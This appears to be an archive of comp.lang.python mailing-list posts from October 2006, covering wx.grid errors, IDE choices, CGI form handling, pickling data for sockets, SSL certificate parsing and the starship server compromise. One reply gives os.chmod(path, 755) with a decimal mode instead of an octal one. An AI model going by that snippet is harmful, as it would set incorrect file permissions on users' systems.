<452EB3B9.6080603@activestate.com> > if it doesn't, it wouldn't be the first time they'd (by accident or on > purpose) left things out. Other than SSL, do you have examples? > trust me, it'd cause a lot less confusion if > ActivePython was a true superset of the python.org distribution. For every extension except SSL support (*) it is. (*) Still working on export-control legals for that. I was hoping to have that ready for ActivePython 2.5. But that doesn't look like it will happen on time. And now I've missed getting ActivePython 2.5 out soon after Python 2.5 because I'm focussed on Komodo 4.0 for now. For others, unfortunately ActivePython 2.5 will probably not be ready until mid-November. Trent -- Trent Mick trentm at activestate.com From eldiener_no_spam_here at earthlink.net Tue Oct 10 17:17:27 2006 From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam) Date: Tue, 10 Oct 2006 21:17:27 GMT Subject: Python component model In-Reply-To: <1160502889.153272.197250@m73g2000cwd.googlegroups.com> References: <452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net> <1160467516.602655.169920@c28g2000cwb.googlegroups.com> <1160502889.153272.197250@m73g2000cwd.googlegroups.com> Message-ID: Paul Boddie wrote: > skip at pobox.com wrote: >> Edward> My OP was just to query whether a component model existed for >> Edward> Python, like JavaBeans for Java or .Net for C#, C++/CLI >> Edward> etc. >> >> For those of us who've never used Java, .Net or C++/CLI, a more concrete >> description of what you were after from the beginning would have been >> helpful. > >>From vague recollections of the original Java Beans technology, the > primary "innovation" was to have getProperty and setProperty methods, > along with things like isCapability and hasProperty, if I remember > correctly. None of this was really shocking to anyone using Python, > mostly because Python had __getattr__ and __setattr__ even back then > for customising real property/attribute access, and Python's run-time > introspection capabilities were superior to Java's (and probably still > are). There is no argument on my part that Python's introspection and metadata capabilities are superior to Java, as well as its potential attribute as component property model. In the theoretical Python model I proposed, the designer of the component must have the ability to specify which of the component's attributes are properties and how this is controlled ( via __getattr__ and __setattr__ ? descriptors as someone else suggested ? other ideas ? ). Merely saying that all of an object's attributes are component properties for the purposes of a visual RAD designer can not be correct. I actually think that Java's notion of preoperties in JavaBeans, which are just getter and setter functions with a particular naming convention, determined by Java as a default, or through an associated BeanInfo class, is rather klutzy and much prefer that of .Net or Borland's VCL where a particular language construct is used for properties instead. Of course with Python's superior metadata abilities, a particular new language construct shouldn't be necessary. > > The other innovation was the introduction of standard interfaces for > listening to and dispatching events, where you implement some listener > interface and respond to events in order to "care about" those events. > I don't recall any particularly good mechanisms for connecting beans to > each other in order to fire off events, although the beanbox (or > whatever the graphical tool originally promoted was called) and/or the > IDE is supposed to help you with that part of the work. The beanbox did nothing to help setup events, event sources, or event listeners. It just presented a graphical example of a visual RAD tool which could tie event sources to event listeners. It is onerous in JavaBeans to connect event sources to event listeners, and takes a good deal of manual coding although doing it is easy to understand. > > The groovy 1990s API 1997. Again Borland's VCL or .Net have much better solutions for events but again require language constructs which Python ought not need given its strong metadata possibilities to supply a component event model. > is actually viewable in various places; here, for > example: > > http://www.doc.ic.ac.uk/~jpc1/linux/bdk-doc-1.0/apis.html The BDK is no longer supported in the latest version of Java and JavaBeans. Instead there is a Bean Builder at https://bean-builder.dev.java.net/ . > > Despite the supposedly exciting advances heralded by Java Beans, a > large part of the technology was just codifying existing practices and > techniques, but it could be argued that such techniques have been > superseded by signal/slot mechanisms and more advanced event > architectures (pioneered by frameworks like Qt and since adopted by > Gtk, I believe). I agree and I would want to have a component event model for Python that is much superior to the JavaBeans event model in ease of use. A much better ideal for component properties and component events is presented by .Net, where there are actual language keywords which perform the magic. I would guess that Qt and Gtk also follow a better ease of use path, perhaps with macros in C++. But Python should be able to do as good or better than any of these environments. From Eric_Dexter at msn.com Mon Oct 16 00:47:49 2006 From: Eric_Dexter at msn.com (Eric_Dexter at msn.com) Date: 15 Oct 2006 21:47:49 -0700 Subject: wx.grid question (trying to use code from Grid_Example.py) In-Reply-To: <1160973960.113552.200490@i3g2000cwc.googlegroups.com> References: <1160973960.113552.200490@i3g2000cwc.googlegroups.com> Message-ID: <1160974069.893127.93140@k70g2000cwa.googlegroups.com> To extend and revise my remarks my error is File "C:\Python24\Lib\site-packages\boa-constructor\test of snake\csoundgrid.py", line 8, in create_grid win = Grid_MegaExample.MegaTable(self, data, colnames, pugins) NameError: global name 'self' is not defined Script terminated. http://www.dexrow.com Eric_Dexter at msn.com wrote: > I am having trouble trying to reuse the code that was provided in the > wxdemo package of wxpython. The program I am trying to use parts of is > Grid_MegaExample.py thier code is > > class MegaTable(Grid.PyGridTableBase): > """ > A custom wx.Grid Table using user supplied data > """ > def __init__(self, data, colnames, plugins): > """data is a list of the form > [(rowname, dictionary), > dictionary.get(colname, None) returns the data for column > colname > """ > # The base class must be initialized *first* > Grid.PyGridTableBase.__init__(self) > self.data = data > self.colnames = colnames > self.plugins = plugins or {} > # XXX > # we need to store the row length and column length to > # see if the table has changed size > self._rows = self.GetNumberRows() > self._cols = self.GetNumberCols() > > My code is > > import wx.grid > import os > import sys > import string > import Grid_MegaExample > > def create_grid(): > win = Grid_MegaExample.MegaTable(self, data, colnames, pugins) > win.Show(True) > > def create_colums(line): > "creates colums based on what is passed to subroutine" > for word in line: > colnames = word > > def create_sco_grid(from_file): > "reads .sco file and inputs it into a wx.grid" > data = [] > infile = open(from_file, 'r') > testline = 'false' > for line in infile: > if """;""" in line: > create_colums(line) > testline = 'true' > if testline == 'true': > for word in line: > data.append(word) > create_grid() > create_sco_grid("""test.sco""") > > > > > http://www.dexrow.com From noway at sorry.com Sat Oct 7 20:20:14 2006 From: noway at sorry.com (Giovanni Bajo) Date: Sun, 08 Oct 2006 00:20:14 GMT Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <45254B18.2090806@v.loewis.de> Message-ID: <2vXVg.139282$_J1.908700@twister2.libero.it> Aahz wrote: >> Are you ever going to try and make a point which is not "you are not >> entitled to have opinions because you do not act"? Your sarcasm is >> getting annoying. And since I'm not trolling nor flaming, I think I >> deserve a little bit more of respect. > > IMO, regardless of whether you are trolling or flaming, you are > certainly being disrespectful. Why should we treat you with any more > respect than you give others? Disrespectful? Because I say that I don't agree with some specific requirement, trying to discuss and understand the rationale behind it? -- Giovanni Bajo From jonas.esp at googlemail.com Thu Oct 19 14:22:54 2006 From: jonas.esp at googlemail.com (GinTon) Date: 19 Oct 2006 11:22:54 -0700 Subject: Integration of globalization data in Python web frameworks Message-ID: <1161282173.978279.159250@k70g2000cwa.googlegroups.com> I have created several tables in CSV format with globalization data (G11n). There are tables for countries, areas, languages, countries & languages, time zones, phones. And they are licensed under a Creative Commons license. http://svn.webda.python-hosting.com/trunk/G11n_data/ I created a new discussion group in order to facilitate the integration of G11n data in any framework. It's focused on integrate it on Django and TurboGears, but it could be integrated in whatever application with the help of the discussions on this group. It's necessary to discuss several subjects before beginning with the integration in the web frameworks. So I ask your collaboration. Thanks! http://groups.google.com/group/webda P.S.: I hope that you don't see this post as SPAM. This is something very interesting for administrators and users of those web frameworks. From no-spam at no-spam-no-spam.com Sat Oct 14 09:06:56 2006 From: no-spam at no-spam-no-spam.com (robert) Date: Sat, 14 Oct 2006 15:06:56 +0200 Subject: IDE that uses an external editor? In-Reply-To: References: Message-ID: skip at pobox.com wrote: > One thing that's kept me from even looking at IDEs is that to the best of my > knowledge none of them will integrate properly with external editors like > Emacs or vi. I know lots of tools support "Emacs-like keybindings", but > believe me, I've never found one that does a decent job of that. There is > just so much more to powerful editors like Emacs or vi than a handful of > cursor movement commands. Once a person is proficient they generally won't > accept substitutes. > > So, please prove me wrong. Are there any IDEs that will actually work with > an external instance of Emacs (either by firing it up or by using a remote > connection program like gnuclient)? I don't use an IDE when coding on *nix, but I use decent Pythonwin on Windows (never found one of these other monster IDEs fluent/better enough) It detects immediately when a file on disk changed and asks to reload form file or not - any good code editor should do this. The sc1-based editors ones do this usually. Thus one can without worries edit in different editors simultaneously. Also in Pythonwins py-code or .ini settings it would be very easy to implement a 1-liner for a key stroke which opens the current file in an external editor. So that should do it. The same practice should be possible easly with almost any *nix IDE which is written open source in python or lisp ... or has other easy script customization capabs. (But I think there are no decent python IDE's on *nix :-( ) -robert From juho.schultz at pp.inet.fi Thu Oct 5 15:19:20 2006 From: juho.schultz at pp.inet.fi (Juho Schultz) Date: 5 Oct 2006 12:19:20 -0700 Subject: user modules References: Message-ID: <1160075960.634886.320530@e3g2000cwe.googlegroups.com> Cameron Walsh kirjoitti: > Hi, > > I'm writing a python program to analyse and export volumetric data. To > make development and extension easier, and to make it more useful to the > public when it is released (LGPL), I would like to enable users to place > their own python files in a "user_extensions" directory. These files > would implement a common interface in order for the main program to be > able to read them and execute the necessary code. > > My question is what is the best way of implementing this? > > I have investigated importing them as modules, but unless the user > modifies the main program I cannot see how the main program can learn of > the existence of specific modules. > > For example: > > from user_modules import * > # directory 'user_modules' contains __init__.py allowing this > # From here I would need a list of the imported modules, in order to > # execute a common command on each of them, such as > > for module in imported_modules: > module.initialise() > module.get_tab_window() > > > How do I get from the first bit to the second bit, or is there a better > way of obtaining the functionality I need? > > > --Cameron. Sorry... I was typing faster than reading or thinking. You could have a __init__.py file within user_extensions with __all__ = ["package1", "package2"] If you want every python file within some directory in here, you can auto-generate the __init__.py file in user_extension before importing. (Or you could have some sort of tester for new .py files detected and only after you are sure it works, add it.) from user_extensions import * would import everything mentioned in __all__. You also have access to their names through user_extensions.__all__ The last step would be to put the modules into a list. After the import, user_ext_list = [eval(elem) for elem in user_extensions.__all__ ] for ext in user_ext_list: ext.initialize() ext.get_tab_window() From http Sun Oct 15 08:52:00 2006 From: http (Paul Rubin) Date: 15 Oct 2006 05:52:00 -0700 Subject: Book about database application development? References: <0001HW.C157FA8900644D9AF0407530@news.individual.de> Message-ID: <7xlknhg2rz.fsf@ruckus.brouhaha.com> Wolfgang Keller writes: > I'm especially interested in such practical topics as e.g. how to implement > things such that the resulting application doesn't show the hourglass for > minutes on every mouseclick. > > And, btw; "W** applications" are totally irrelevant for me. Here's a start: http://philip.greenspun.com/sql/ From chtaylo3 at gmail.com Tue Oct 24 13:55:15 2006 From: chtaylo3 at gmail.com (Christopher Taylor) Date: Tue, 24 Oct 2006 13:55:15 -0400 Subject: Help: Python2.3 & Python2.4 on RHEL4 x86_64 In-Reply-To: <453E4C49.4000401@v.loewis.de> References: <45386B4C.4020001@v.loewis.de> <453d4821$0$22566$9b622d9e@news.freenet.de> <453DA645.2090009@v.loewis.de> <453E4C49.4000401@v.loewis.de> Message-ID: <2590773a0610241055m5fdc8dfj10eaf0b37482ed1f@mail.gmail.com> > I personally think this is a bug in AMD64-Linux. Libraries should > be stored in /usr/lib, binaries in /usr/bin, etc. If they need > simultaneous installation of 32-bit binaries for compatibility, > they should store them in architecture-specific directories. I disagree. From what I see, the error, as far as python is considered, is not being able to specify the location where libs are put, despite the fact that the --LIBDIR= option is listed. It just happens to manifest itself in AMD64/EM64T Linux, specifically RH linux where 64bit libs are put in /usr/lib64 and 32bit libs in /usr/lib. > The x86_64 community has been using Python for a while, and > apparently has solved this problem already. You should try > to find out how they did it. Where might I go to look on how to get this working? Respectfully, Christopher Taylor P.S. I posted on python-dev and I haven't seen my post show up yet, nor any responces .... is that list moderated? From http Wed Oct 25 15:02:45 2006 From: http (Paul Rubin) Date: 25 Oct 2006 12:02:45 -0700 Subject: cleaner way to write this? References: <7xwt6o44um.fsf@ruckus.brouhaha.com> <%dO%g.151$1n3.4135@news.tufts.edu> Message-ID: <7x8xj4i5gq.fsf@ruckus.brouhaha.com> John Salerno writes: > But if the user doesn't enter any text, I don't want the method to > return at all (even None). I need an error dialog to pop up and tell > him to enter a value (or press Cancel). Oh, I see. You really want something like repeat...while, which Python doesn't have. Anyway I start to prefer something like (untested): def create_db_name(self): try: while True: dlg = wx.TextEntryDialog(self.frame, 'Enter a database name:', 'Create New Database') if dlg.ShowModal() != wx.ID_OK: return None db_name = dlg.GetValue() if db_name: return db_name pop_up_error_dialog("please enter a value or press cancel") finally: dlg.Destroy() If the logic were more complex you could also create an internal exception class to deal with the user hitting cancel. From skip at pobox.com Mon Oct 16 15:50:03 2006 From: skip at pobox.com (skip at pobox.com) Date: Mon, 16 Oct 2006 14:50:03 -0500 Subject: OT: What's up with the starship? In-Reply-To: <1161025636.641534.282290@f16g2000cwb.googlegroups.com> References: <1160926000.351967.8340@f16g2000cwb.googlegroups.com> <1160938429.707909.28360@f16g2000cwb.googlegroups.com> <1160947865.920162.173040@i3g2000cwc.googlegroups.com> <1160974552.906162.115060@k70g2000cwa.googlegroups.com> <1160983523.518768.16110@e3g2000cwe.googlegroups.com> <1161021960.792970.238240@m73g2000cwd.googlegroups.com> <1161025636.641534.282290@f16g2000cwb.googlegroups.com> Message-ID: <17715.57963.666222.29559@montanaro.dyndns.org> rurpy> It seems to have been disscussed publically starting around Oct 6 rurpy> or 7 (I didn't do a though search so this may be wrong.) It was rurpy> fixed in Python 2.5 so either it was treated as a ordinary bug rurpy> with unrecognised security implications, or the developers were rurpy> aware of the security issues and sat on them. It was fixed in a checkin on August 21 (rev 51450). While it's possible in theory that this was the root of the compromise, the fact that none of the security memos floating around suggested that it had been exploited gives me a fairly warm feeling that it wasn't the cause of the starship breakin. Also, the fact that it has been around, apparently unexploited, since 2001 suggests that it was sufficiently obscure that either a) nobody who knew about it found a way to take advantage of it, or b) it was only recently discovered back in August shortly before the problem was fixed in the source code. Skip From steve at holdenweb.com Thu Oct 26 09:10:28 2006 From: steve at holdenweb.com (Steve Holden) Date: Thu, 26 Oct 2006 14:10:28 +0100 Subject: displaying \n-less prompts in a pythonic way In-Reply-To: References: <_pGdnRgy36cLON3YnZ2dnUVZ_s2dnZ2d@comcast.com> Message-ID: Sybren Stuvel wrote: > alf enlightened us with: > >>I have a command line program which also does some interaction with the >>user using stdin and stdout. >> >>My requirement is to print prompt so the user can answer in the same >>line. Unfortunately: >> >> print 'enter command:', >> >> >>does not really work as the comma is carried over to the following lines >>and the indentation gets messed up. >> >> >>I can use sys.stdout.write('enter command:') instead but kind of do not >>like sys.stdout.write mixed up with print's statements used to display >>other informations. >> >> >>Is there a pythonic solution for the problem? > > > Yeah, write a function: > > def prompt(label): > '''Prompts the user, returning the typed text''' > > sys.stdout.write(label) > return sys.stdin.readline() > Or use raw_input(), which was designed for such situations: >>> mystr = raw_input("Who is this? ") Who is this? Steve regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From bignose+hates-spam at benfinney.id.au Tue Oct 24 19:51:39 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Wed, 25 Oct 2006 09:51:39 +1000 Subject: Sending Dictionary via Network References: <1161730229.556578.278020@f16g2000cwb.googlegroups.com> Message-ID: <87slhdnugk.fsf@benfinney.id.au> Larry Bates writes: > mumebuhi wrote: > > Is it possible to send a non-string object from a Python program > > to another? I particularly need to send a dictionary over to the > > other program. However, this is not possible using the socket > > object's send() function. You want what is called "serialisation": turning a data structure in Python into a predictable sequence of (usually text) bytes, to turn it back into an identical data structure at some other point in time. > You will need to pickle it first and unpickle it on the other end. There are many serialisation schemes possible; 'pickle' is just one (and may be the right one in this case). Others include JSON, marshal, some XML schema, etc. -- \ "A child of five could understand this. Fetch me a child of | `\ five." -- Groucho Marx | _o__) | Ben Finney From nagle at animats.com Wed Oct 25 00:30:28 2006 From: nagle at animats.com (John Nagle) Date: Wed, 25 Oct 2006 04:30:28 GMT Subject: Obtaining SSL certificate info from SSL object - BUG? In-Reply-To: <7x4pttd1zb.fsf@ruckus.brouhaha.com> References: <453D95EA.1020602@animats.com> <453E57E9.7010806@animats.com> <7x4pttd1zb.fsf@ruckus.brouhaha.com> Message-ID: <453EEDD6.5090500@animats.com> Paul Rubin wrote: > John Nagle writes: > >>The reason this now matters is that new "high assurance" certs, >>the ones that tell you how much a site can be trusted, are now being >>deployed, > > > Oh my, I hadn't heard about this. They come up with new scams all the > time. I guess I'll check for info. It sounds sort of like the terror > alert system, which tells us how scared to be on any particular day ;-) Anyway, I've submitted it as a Python bug report: [1583946] SSL "issuer" and "server" functions problems - security And for the record, here's a workaround: do a split with this regular expression: pparsecertstringre = re.compile( r"""(?:/)(\w(?:\w|))(?:=)""") You'll get lists of the form ['', key1, value1, key2, value2 ...] This isn't totally unspoofable, and won't work for Unicode certs, but it works for the few dozen common certs I've run through it. John Nagle Animats From rpdooling at gmail.com Fri Oct 20 02:00:03 2006 From: rpdooling at gmail.com (BartlebyScrivener) Date: 19 Oct 2006 23:00:03 -0700 Subject: help with my first use of a class Message-ID: <1161324003.586807.145410@b28g2000cwb.googlegroups.com> I am a mere hobbyist. Spent several hours trying to make a class, because I think this is an occasion where I need one. But I can't make it work. This code "works" (only because of the global c, which I know I'm supposed to avoid, by using a Class). I edited the rest to leave out the irrelevant formatting and printing of the quotations. I've read about Classes several times, but I don't "get" them yet. Obviously. If I can solve one real life problem like this, then maybe I'll see the light. If I understand the power of Classes correctly, I could make one that would allow me to make a new instance that would connect to, say, an SQLite3 db instead of the Access db, as well as to create more methods that will do different SQL searches. Thank you for any help, rd -------------------------------------- import mx.ODBC.Windows as odbc import sys import random def connect(): global c db='DSN=Quotations' conn = odbc.DriverConnect(db) c = conn.cursor() def random_quote(): """ Counts all of the quotes in MS Access database Quotations2005.mdb. Picks one quote at random and displays it using textwrap. """ c.execute ("SELECT COUNT(Quote) FROM PythonQuoteQuery") # Yields the number of rows with something in the quote field total_quotes = c.fetchone() # Get a random number somewhere between 1 and the number of total quotes quote_number = (random.randint(1, total_quotes[0]),) # Select a quote where the ID matches that number c.execute ("SELECT Author, Quote FROM PythonQuoteQuery WHERE ID=?", quote_number) quote = c.fetchone() blah blah blah def print_quote() code to format and print the quote (which will also have to be global, unless I learn Classes!) if __name__ == '__main__': if len(sys.argv) == 1: connect() random_quote() print_quote() From Hakusa at gmail.com Wed Oct 25 20:20:32 2006 From: Hakusa at gmail.com (Hakusa at gmail.com) Date: 25 Oct 2006 17:20:32 -0700 Subject: What's the best IDE? In-Reply-To: References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> <453ff3a7$0$23866$426a74cc@news.free.fr> Message-ID: <1161822032.211125.272160@h48g2000cwc.googlegroups.com> After researching Komodo, I found it's not free. The only funds I have are a college fund, and I can't start diping into that until I'm going to college. Any free AND good IDEs? From chris.cavalaria at free.fr Tue Oct 24 12:16:26 2006 From: chris.cavalaria at free.fr (Christophe) Date: Tue, 24 Oct 2006 18:16:26 +0200 Subject: python GUIs comparison (want) In-Reply-To: <453E3370.9060008@kevin-walzer.com> References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com> <453E3370.9060008@kevin-walzer.com> Message-ID: <453e3c5a$0$23254$426a74cc@news.free.fr> Kevin Walzer a ?crit : > jiang.haiyun at gmail.com wrote: >> Now i began to learn GUI programming. There are so many >> choices of GUI in the python world, wxPython, pyGTK, PyQT, >> Tkinter, .etc, it's difficult for a novice to decide, however. >> Can you draw a comparison among them on easy coding, pythonish design, >> beautiful and generous looking, powerful development toolkit, and >> sufficient documentation, .etc. >> It's helpful for a GUI beginner. >> Thank you. >> >> >> :)Sorry for my poor english. >> > > Tkinter: > Pro: Default GUI library for Python; stable; well-supported > Con: Needs extension for complex/rich GUI's; core widgets are dated in > look and feel; many modern extensions in Tcl/Tk have not made it into > Tkinter or are not widely used (Tile, Tablelist) Also, the Tkinter API is far less elegant than the others. > wxPython: > Pro: Popular, actively developed, wraps native widgets, looks great on > Windows, commercial-friendly license > Con: Based on C++ toolkit; docs assume knowledge of C++; some think > coding style is too much like C++; complex to build and deploy on Linux > (wraps Gtk) See PyQt remarks. And I would add that the coding style is too much like MFC and Win32 as a con. > PyQt: > Pro: Powerful, cross-platform, sophisticated GUI's > Con: Based on C++ toolkit; docs assume knowledge of C++; commercial > deployment is expensive; free deployment must be GPL; smaller > development and user community than wxPython Since when is "based on C++ toolkit" a con? > PyGtk: > Pro: Sophisticated GUI's, cross-platform (Linux and Win32); very popular > on some platforms; active development community > Con: Not native on OS X You forgot that it is rather buggy on Win32 ( in my experience ) From shane at hathawaymix.org Mon Oct 16 16:41:46 2006 From: shane at hathawaymix.org (Shane Hathaway) Date: Mon, 16 Oct 2006 14:41:46 -0600 Subject: OT: What's up with the starship? In-Reply-To: References: <1160926000.351967.8340@f16g2000cwb.googlegroups.com> <1160938429.707909.28360@f16g2000cwb.googlegroups.com> <1160947865.920162.173040@i3g2000cwc.googlegroups.com> <1160974552.906162.115060@k70g2000cwa.googlegroups.com> <1160983523.518768.16110@e3g2000cwe.googlegroups.com> <1161021960.792970.238240@m73g2000cwd.googlegroups.com> <4533D84B.4060405@hathawaymix.org> Message-ID: <4533EE8A.7030301@hathawaymix.org> Fredrik Lundh wrote: > Shane Hathaway wrote: > > > I don't know if this concern applies to Starship specifically, but it > > seems to apply to thousands of web sites running Python CGIs and > > Python web servers. > > so are we seeing thousands of web sites running Python CGIs and web > servers being attacked right now? No, but it often takes a long time for servers to get patched, so the window for intruders is going to be open for a while. I'm trying to understand: a) how urgent and/or exploitable this is, b) how I can check whether a given Python installation (running on a server) has been patched, and c) whether the security advisory downplays the risk more than it should, since it appears that many Zope/Plone web servers are vulnerable. Shane From sybrenUSE at YOURthirdtower.com.imagination Sat Oct 21 04:30:20 2006 From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel) Date: Sat, 21 Oct 2006 10:30:20 +0200 Subject: Python Source References: <1161418145.383719.324390@i3g2000cwc.googlegroups.com> Message-ID: ArdPy enlightened us with: > Is it possible to hack through the code written by Guido van Rossum > that makes the python interpreter. Yes it is. > If yes please let me know how to begin. If its not then pardon me. Download the source, start hacking. Sybren -- Sybren St??vel St??vel IT - http://www.stuvel.eu/ From limodou at gmail.com Fri Oct 27 02:34:48 2006 From: limodou at gmail.com (limodou) Date: Fri, 27 Oct 2006 14:34:48 +0800 Subject: How to Split Chinese Character with backslash representation? In-Reply-To: References: <3ACF03E372996C4EACD542EA8A05E66A0615DD@mailbe01.teak.local.net> Message-ID: <505f13c0610262334k79c3a79fw944322b8a9fd6004@mail.gmail.com> On 10/27/06, Cameron Walsh wrote: > limodou wrote: > > On 10/27/06, Wijaya Edward wrote: > >> > >> Thanks but my intention is to strictly use regex. > >> Since there are separator I need to include as delimiter > >> Especially for the case like this: > >> > >> >>> str = '\xc5\xeb\xc7\xd5\xbc--FOO--BAR' > >> >>> field = list(str) > >> >>> print field > >> ['\xc5', '\xeb', '\xc7', '\xd5', '\xbc', '-', '-', 'F', 'O', 'O', '-', > >> '-', 'B', 'A', 'R'] > >> > >> What we want as the output is this instead: > >> ['\xc5', '\xeb', '\xc7', '\xd5', '\xbc','FOO','BAR] > >> > >> What's the best way to do it? > >> > > If the case is very simple, why not just replace '_' with '', for example: > > > > str.replace('-', '') > > > Except he appears to want the Chinese characters as elements of the > list, and English words as elements of the list. Note carefully the > last two elements in his desired list. I'm still puzzling this one... Oh, I see. I made a mistake. -- I like python! UliPad <>: http://wiki.woodpecker.org.cn/moin/UliPad My Blog: http://www.donews.net/limodou From gagsl-py at yahoo.com.ar Thu Oct 12 20:23:48 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Thu, 12 Oct 2006 21:23:48 -0300 Subject: Standard Forth versus Python: a case study In-Reply-To: <1160685854.118420.133080@e3g2000cwe.googlegroups.com> References: <7x3b9u376m.fsf@ruckus.brouhaha.com> <1160603937.392188.253250@m7g2000cwm.googlegroups.com> <1160619958.438049.53390@h48g2000cwc.googlegroups.com> <1160652722.908731.213650@i42g2000cwa.googlegroups.com> <7xfydtojhe.fsf@ruckus.brouhaha.com> <7x4pu9bw3z.fsf@ruckus.brouhaha.com> <1160685854.118420.133080@e3g2000cwe.googlegroups.com> Message-ID: <7.0.1.0.0.20061012211219.04ad8c50@yahoo.com.ar> At Thursday 12/10/2006 17:44, idknow at gmail.com wrote: > > > > fun median { > > > > var x = 0. > > > > while( *p++) { > > > > if( (*p) > x) x = *p. > > > > } > > > > return x. > > > > } > >clearly, i've forgotten the definition of the median of a list. >to that i plead faulty memory. That explains all. Finding the median in an efficient way (that is, without sorting the data first) isn't trivial, so your claim of "I can do that using only one temp variable" was a bit surprising... BTW, the median is the value which sits just in the middle of the list when ordered: median(3,5,12,1,2)=median(1,2,3,5,12) = 3 -- Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From maxerickson at gmail.com Mon Oct 2 09:42:20 2006 From: maxerickson at gmail.com (Max Erickson) Date: Mon, 2 Oct 2006 13:42:20 +0000 (UTC) Subject: changing a file's permissions References: Message-ID: James wrote: > ------=_Part_63041_761240.1159752399799 > I'm writing a script in linux to excercise my python skills and > have encountered a minor issue. > > Writing the script and creating an ouput file was simple enough > and didn't take too long. However, I don't have permissions to > execute the file by default. Now, I could simply chmod 755 the > sucker and have done with it, but I want to apply the permissions > within the python script if I can. > > So my question is: how does one change a file's permissions > inside of python? > > James > Assuming you want to operate on the output file: import os os.chmod(path, 755) Hope this helps, max From superflit at gmail.com Tue Oct 24 17:19:01 2006 From: superflit at gmail.com (flit) Date: 24 Oct 2006 14:19:01 -0700 Subject: Simple python + html + from --> to python script In-Reply-To: References: <1161722017.705987.78760@m7g2000cwm.googlegroups.com> Message-ID: <1161724741.888254.321030@m73g2000cwd.googlegroups.com> Man.... Very thanks... I really try to find some source of good and simple and nothing.. Many thanks you are a great help! Steve Holden wrote: > flit wrote: > > Hello All, > > > > I am trying to get information from a form and send it to a python > > script without success.. > > Here is my objective: > > > > User enters data in form --> form send variables to python script --> > > script runs and output result. > > > > the form code > > > >
Entre com > > os dados
> > > > Entre com os dados
> > Vai magraum
> > > > In my script.py > > > > What I should have to print > > something like > > > > Hello the data1 + data 2 = .... > > > > ? > > > > Maybe I am stumbling in something very simple, but I cannot find some > > working example, and I am totally confused... > > Thanks in advance > > > Untested, without error checking. Caveat emptor: > > import cgi > import cgitb; cgitb.enable() # optional error handling > > form = cgi.FieldStorage() > > d1 = form["data1"].value > d2 = form["data2"].value > > print """\ > Content-type: text/plain > > Hello: the data were: %s and %s""" % (d1, d2) > > regards > Steve > -- > Steve Holden +44 150 684 7255 +1 800 494 3119 > Holden Web LLC/Ltd http://www.holdenweb.com > Skype: holdenweb http://holdenweb.blogspot.com > Recent Ramblings http://del.icio.us/steve.holden From fredrik at pythonware.com Tue Oct 24 05:52:23 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 24 Oct 2006 11:52:23 +0200 Subject: forcing a definition to be called on attribute change References: <1161355685.049304.314360@m7g2000cwm.googlegroups.com> <013e01c6f747$e004afa0$a8e7ca2b@guerrillagames.com> Message-ID: Michael Malinowski wrote: > Apologies if this is a stupidly obvious or simple question. If I have a > class with a series of attributes, is there a way to run a function > definition in the class whenever a specific attribute is changed? you can implement a __setattr__ hook, or, in Python 2.2 and newer, use properties: http://www.python.org/doc/2.2.3/whatsnew/sect-rellinks.html#SECTION000340000000000000000 note that "setter" properties only work if you inherit from "object". From sxn02 at yahoo.com Tue Oct 24 13:31:42 2006 From: sxn02 at yahoo.com (Sorin Schwimmer) Date: Tue, 24 Oct 2006 10:31:42 -0700 (PDT) Subject: Tkinter question Message-ID: <20061024173142.29349.qmail@web56009.mail.re3.yahoo.com> Thanks for everybody's advice, on both forums (tkinter-discuss & python-list). I end up using Fredrik's Lundh solution, since, in my project, multiple buttons are using the same callback, and their creation is controlled by the interaction with the user. Thanks again, Sorin -------------- next part -------------- An HTML attachment was scrubbed... URL: From fulvio at tm.net.my Fri Oct 13 01:21:05 2006 From: fulvio at tm.net.my (Fulvio) Date: Fri, 13 Oct 2006 13:21:05 +0800 Subject: ConfigParser: whitespace leading comment lines In-Reply-To: <1160683999.617345.46570@b28g2000cwb.googlegroups.com> References: <1160683999.617345.46570@b28g2000cwb.googlegroups.com> Message-ID: <200610131321.05632.fulvio@tm.net.my> *********************** Your mail has been scanned by InterScan MSS. *********************** On Friday 13 October 2006 04:13, gwillden at gmail.com wrote: > I'd like to propose the following change to ConfigParser.py. IMO there's a reason that left it in such way. Whom didn't like the ConfigParser classes had made a new module, and I could find a the least 4 of them (cfgparse, config, configobj, pytconfpy). I choose ConfigParser because I'm very new and I haven't learn how to implement subclasses. I also will to use ConfigParser with some more feature like sub-options, but I didn't get that clue :( If you don't like that behavior easy you can override it in a subclass and use the way you prefer. F From steven.bethard at gmail.com Thu Oct 26 16:43:40 2006 From: steven.bethard at gmail.com (Steven Bethard) Date: Thu, 26 Oct 2006 14:43:40 -0600 Subject: Sorting by item_in_another_list In-Reply-To: <7x8xj3cxrl.fsf@ruckus.brouhaha.com> References: <7x1woypbe1.fsf@ruckus.brouhaha.com> <7x8xj3cxrl.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin wrote: > Steven Bethard writes: >> Cameron Walsh wrote: >>> Which brings me to the question, would this solution: >>> B = set(B) >>> A = B + list(x for x in A if x not in B) >>> be faster than this solution: >>> B = set(B) >>> A.sort(key=B.__contains__, reverse=True) >> [timings deleted] >> That said, I'd probably still use the first solution -- it's more >> immediately obvious why that one works. > > Wait a minute, the first example looks wrong, B has gotten replaced by > a set and then it's added to a list. Yep. If you look back at the lines I actually timed, they were:: B_set = set(B) A = B + list(x for x in A if x not in B_set) and:: B_set = set(B) A.sort(key=B_set.__contains__, reverse=True) As you noted, you'll get an error if you try to concatenate B as a set to the list. Steve From sandravandale at yahoo.com Fri Oct 13 20:07:56 2006 From: sandravandale at yahoo.com (Sandra-24) Date: 13 Oct 2006 17:07:56 -0700 Subject: wing ide vs. komodo? In-Reply-To: 